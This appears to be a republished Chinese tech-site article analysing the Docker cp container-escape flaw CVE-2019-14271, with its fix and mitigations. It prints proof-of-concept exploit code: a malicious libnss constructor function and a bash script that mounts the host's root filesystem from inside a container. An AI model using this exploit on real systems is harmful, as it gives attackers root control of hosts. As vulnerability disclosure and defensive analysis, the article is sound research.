迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析

2019 年 11 月 29 日

迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析


过去几年,我们在各种容器平台上发现 copy(cp)命令中存在多个漏洞,包括DockerPodmanKubernetes


迄今为止,最严重的一个漏洞是今年 7 月被发现和披露的。而该漏洞发布时,并没有立即引起太多关注,可能是由于 CVE 描述不明确,并且缺少已经发布的漏洞利用方式。


CVE-2019-14271是一个 Docker cp 命令实现中存在的安全问题。一旦被攻击者利用,可能导致容器的完全逃逸。自今年 2 月发现严重的runC漏洞以来,这是后续发现的首个完整容器逃逸漏洞。


如果容器已被先前的攻击过程破坏(例如:借助其他漏洞和泄露信息等),或者当用户从不受信任的来源(例如:注册表等来源)运行恶意容器映像时,可以利用该漏洞。如果用户随后执行存在漏洞的 cp 命令,从受感染的容器中复制文件,那么攻击者就可以实现逃逸,并完全控制主机和其中的所有其他容器。


在 Docker 19.03.1版本中,CVE-2019-14271 被标记为关键漏洞,且目前已修复。我们对该漏洞进行了研究,并对漏洞的第一个概念证明(PoC)进行了分析。


我们一直密切关注流行容器平台上存在的漏洞,在近期发现其中的复制漏洞数量有明显增长趋势。


Docker cp


Copy 命令允许从容器复制文件、复制文件到容器以及在容器之间复制文件。它的语法与标准 Unix 中的 cp 命令非常相似。如果要从容器中复制/var/logs,需要使用的语法为:docker cp container_name:/var/logs /some/host/path.


正如我们下图所看到的,要把文件复制到容器外,Docker 借助一个名为docker-tar.的帮助进程。


从容器中复制文件:



docker-tar 的工作原理是对文件进行 chroot(如下图所示),将请求的文件和目录放在其中,然后将生成的 tar 文件传递回 Docker 守护程序,该守护程序负责将其提取到宿主机的目标目录中。


Docker-tar chroot 进入容器:



选择 chroot 的方式,有一个主要原因是为了避免符号链接问题,当主机进程尝试访问容器上的文件时,可能会产生符号链接的问题。在这些文件中,如果包含符号链接,那么可能会在无意中将其解析为主机根目录。这就为攻击者控制的容器敞开了大门,使得攻击者可以尝试让docker cp在宿主机而非容器上读取和写入文件。


在 2018 年,有几个在 Docker 和 Podman 中发现的CVE漏洞是与符号链接相关的。通过进入到容器的根目录,docker-tar能确保所有符号链接都在其目录下被有效地解析。


但遗憾的是,在从容器中复制文件时,这样“扎根到容器中”的过程为更严重的漏洞埋下了伏笔。


CVE-2019-14271 漏洞分析


Docker 是使用Golang语言编写的。具体而言,易受攻击的 Docker 版本是使用 Go v1.11 编译而成的。


在这个版本中,某些包含嵌入式 C 语言代码(cgo)的软件包在运行时动态加载共享库。这些软件包包括netos/user,都会被docker-tar使用,它们会在运行时加载多个libnss_*.so库。


通常,这些库会从宿主机的文件系统中加载,但是由于docker-tar会 chroots 到容器中,因此它会从容器文件系统中加载库。这也就意味着,docker-tar将加载并执行由容器发起和控制的代码。


需要说明的是,除了被 chroot 到容器文件系统之外,docker-tar并没有被容器化。它运行在宿主机的命名空间中,具有所有 root 能力,并且不会受到 cgroups 或 seccomp 的限制。


有一种可能的攻击场景,是 Docker 用户从以下任一用户的位置复制一些文件:


  1. 运行包含恶意libnss_*.so库中恶意映像的容器;

  2. 受到攻击的容器,且攻击者替换了其中的libnss_*.so


在这两种情况时,攻击者都可以在宿主机上实现 root 权限的任意代码执行。


这里顺便提一个有趣的事实,这个漏洞实际上是从GitHub问题中发现的。该用户试图从debian:buster-slim容器中复制文件,过程中发现 docker cp 反复多次出现失败的情况。


其问题在于,这个特定的映像中不包含 libnss 库。因此,当用户运行 docker cp,且docker-tar进程尝试从容器文件系统加载它们时,会出现失败并崩溃的情况。


漏洞利用


如果要利用 CVE-2019-14271 漏洞,需要构建一个恶意的 libnss 库。我们随机选择一个libnss_files.so,下载这个库的源代码,并向其中一个源文件添加了函数run_at_link()


我还使用构造函数属性定义了该函数。构造函数属性(特定于 GCC 的语法)指示run_at_link函数在由进程加载时将作为我们所选择这个库的初始化函数执行。这意味着,当docker-tar进程动态加载我们的恶意库时,将执行run_at_link。下面是run_at_link的代码,为简洁起见有所修改。


#include ... #define ORIGINAL_LIBNSS "/original_libnss_files.so.2"#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2" bool is_priviliged(); __attribute__ ((constructor)) void run_at_link(void){     char * argv_break[2];     if (!is_priviliged())           return;      rename(ORIGINAL_LIBNSS, LIBNSS_PATH);     fprintf(log_fp, "switched back to the original libnss_file.so");      if (!fork())     {            // Child runs breakout           argv_break[0] = strdup("/breakout");           argv_break[1] = NULL;           execve("/breakout", argv_break, NULL);     }     else           wait(NULL); // Wait for child      return;}bool is_priviliged(){     FILE * proc_file = fopen("/proc/self/exe", "r");     if (proc_file != NULL)     {           fclose(proc_file);           return false; // can open so /proc exists, not privileged     }     return true; // we're running in the context of docker-tar}
复制代码


run_at_link首先验证它是否在docker-tar上下文中运行,因为其他常规容器进程也可能会加载。该过程是通过检查/proc目录来实现的。如果run_at_linkdocker-tar的上下文中运行,那么这个目录将为空,因为/proc上的 procfs 挂载仅存在于容器挂载的命名空间中。


接下来,run_at_link将恶意的 libnss 库替换为原始库。这样就可以确保利用该漏洞运行的所有后续进程都不会意外加载恶意版本并重新触发run_at_link的执行。


然后,为了简化利用,run_at_link尝试在容器中的/breakout路径处运行可执行文件。这将允许其他的漏洞利用可以以诸如 bash 的形式编写,而不一定是 C 语言。这一过程中将其余的逻辑排除在外,也意味着我们不用针对漏洞利用中的每一处更改都重新编译恶意库,而是只需要修改 breakout 二进制文件即可。


在下面的漏洞利用视频中,一个 Docker 用户运行了一个包含我们的恶意libnss_files.so库的恶意映像,然后尝试从容器中复制一些日志。映像中的/breakout二进制文件是一个简单的 bash 脚本,该脚本将宿主机上的文件系统挂载到容器的/host_fs处,同时还将一条消息写入到宿主机的/evil中。


00:00 / 00:00
    1.0x
    • 2.0x
    • 1.5x
    • 1.25x
    • 1.0x
    • 0.5x
    网页全屏
    全屏
    00:00


    以下是视频中所使用的/breakout脚本的来源。为了获得对宿主机 root 文件系统的引用,脚本在/proc挂载了 procfs。由于docker-tar在主机的 PID 命名空间中运行,因此挂载的 procfs 将包含主机进程中的数据。然后,该脚本只需要挂载主机上 PID 为 1 的帐户(root)。


    #!/bin/bash
    umount /host_fs && rm -rf /host_fsmkdir /host_fs

    mount -t proc none /proc # mount the host's procfs over /proccd /proc/1/root # chdir to host's rootmount --bind . /host_fs # mount host root at /host_fsecho "Hello from within the container!" > /host_fs/evil
    复制代码


    漏洞修复方法


    该漏洞的修复代码修复了docker-tar的 init 函数,该函数可以从存在问题的 Go 软件包中调用任意函数。这将使得docker-tar在 chroot 到容器之前,从宿主机文件系统中加载libnss库。


    CVE-2019-14271 修复方法:



    总结


    允许在宿主机上以 root 执行代码的漏洞非常严重。因此,业务方需确认已经更新至 Docker 19.03.1 版本或更高版本,因为这些版本包含了针对该漏洞的修复。为限制此类攻击的攻击面,我们强烈建议大家不要轻易运行不受信任的映像。


    除此之外,在不一定需要使用 root 用户的场景中,我们强烈建议以非 root 用户身份来运行容器。这样可以进一步提高其安全性,并能有效防范攻击者利用容器引擎或内核中可能存在的一些缺陷。


    针对这个 CVE-2019-14271 漏洞,如果我们的容器使用非 root 用户运行,就能有效防范相应攻击。即使攻击者成功攻破了我们的容器,他也无法覆盖容器的 libnss 库,因为这个库仅有 root 具有权限,所以无法实现漏洞利用。


    如果大家还想对此有更深入的了解,建议阅读 Ariel Zelivansky 的这篇文章,以明白以非 root 身份运行容器的安全优势。


    此外,我们还可以使用安全产品或安全服务来防范此类威胁:


    1. 确保开发人员使用经过验证或经过批准的受信任映像。

    2. 借助主机漏洞扫描工具,针对当前环境中运行存在漏洞软件包的容器发出告警,并检测出当前存在的CVE漏洞。这样可以确保我们的容器不会运行存在漏洞的代码,并能防范1-day攻击。

    3. 使用运行时安全产品,识别并阻止恶意行为者访问并攻破我们的容器。(本文转自嘶吼


    2019 年 11 月 29 日 14:042131

    评论 1 条评论

    发布
    用户头像
    所以在k8s中,我们上周cpFromPod 这个functiong给重写了。
    2019 年 12 月 02 日 09:46
    回复
    没有更多评论了
    发现更多内容

    全面到哭!阿里内部疯传Netty实战文档程序员必须人手一份

    比伯

    Java 编程 架构 程序人生 编程语言

    区块链商品溯源APP开发,深圳区块链应用开发公司

    135深圳3055源中瑞8032

    年轻人不讲武德,乱用索引,你到底走了多少弯路?

    比伯

    Java 编程 架构 面试 程序人生

    敏捷规划,让你做一个有计划的开发人

    华为云开发者社区

    敏捷 开发 规划

    为了面试大厂,精选2020年大厂高频Java面试真题集锦(含答案)

    Java成神之路

    Java 程序员 架构 面试 编程语言

    天天CRUD,被领导怼,我是如何从小公司菜鸡到阿里P8架构师?,首次分享Java程序员黄金五年进阶心得

    Java架构之路

    Java 程序员 架构 面试 编程语言

    江苏智慧社区管理系统开发,智慧小区可视化服务平台

    135深圳3055源中瑞8032

    Vmware设置静态IP

    千泷

    Code Shared & Review(20201214-20201220)

    刘璐

    详解Spring5+SpringMVC5+MyBatis3.X,同时整合Redis缓存+ActiveMQ+项目等

    Java架构追梦

    Java spring 架构 mybatis springmvc

    优化PostgreSQL Autovacuum

    PostgreSQLChina

    数据库 postgresql 开源 优化

    安防小区管控系统建设,智慧社区智能化集成方案

    t13823115967

    智慧平安社区平台建设

    智慧警务大数据系统开发,智慧公安情报研判平台搭建

    WX13823153201

    智慧警务大数据系统开发

    AlibabaP8架构师整理,283页的Java核心资料pdf文档,学会后月薪4W没问题

    Java架构之路

    Java 程序员 架构 面试 编程语言

    UBI波场挖矿系统软件APP开发

    开發I852946OIIO

    系统开发

    全面覆盖:Java面试266题—算法+缓存+JVM搜索+分布式+数据库等

    Java成神之路

    Java 程序员 架构 面试 编程语言

    盘点2020 | 2020年读过的这些书

    xcbeyond

    读书感悟 盘点2020 七日更

    BATJ真题突击:Java基础+JVM+分布式高并发+网络编程+Linux

    Java架构之路

    Java 程序员 架构 面试 编程语言

    iOS面试基础知识 (三)

    iOSer

    ios 面试题 大厂面试 iOS面试 ios开发

    Alibaba技术专家必知必会的Java技术知识点,掌握这些理论+实践+技术是你通往阿里的路

    Java架构之路

    Java 程序员 架构 面试 编程语言

    看了这份阿里Redis笔记,以后出去redis的问题你随便问

    Java成神之路

    Java 程序员 架构 面试 编程语言

    公安大数据:警务大数据分析系统解决方案

    t13823115967

    智慧公安

    智慧公安动态大数据平台开发情报分析中心系统开发

    135深圳3055源中瑞8032

    关于代码重构的灵魂三问:是什么?为什么?怎么做?

    华为云开发者社区

    重构 代码 代码重构

    为什么你成为不了团队核心成员

    数据社

    团队 七日更

    业务重要?还是技术重要?

    数据社

    思考 团队 七日更

    Spark的分布式存储系统BlockManager全解析

    华为云开发者社区

    spark 分布式 存储

    淘宝|蚂蚁|菜鸟|盒马|滴滴|饿了么面经,已拿多个offer(Java岗)

    Java架构之路

    Java 程序员 架构 面试 编程语言

    2020年度综合大盘点:火爆IT业的7大Java技术,每一项都是大写的“牛逼”!

    云流

    Java 编程 微服务

    奋斗30天,苦心啃透java高级工程师面试1000题,涨薪10K很难吗?

    Java成神之路

    Java 程序员 架构 面试 编程语言

    厉害,GitHub上标星90.7K「Java学习+面试指南」学会互联网大厂随便选

    Java成神之路

    Java 程序员 架构 面试 编程语言

    迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析-InfoQ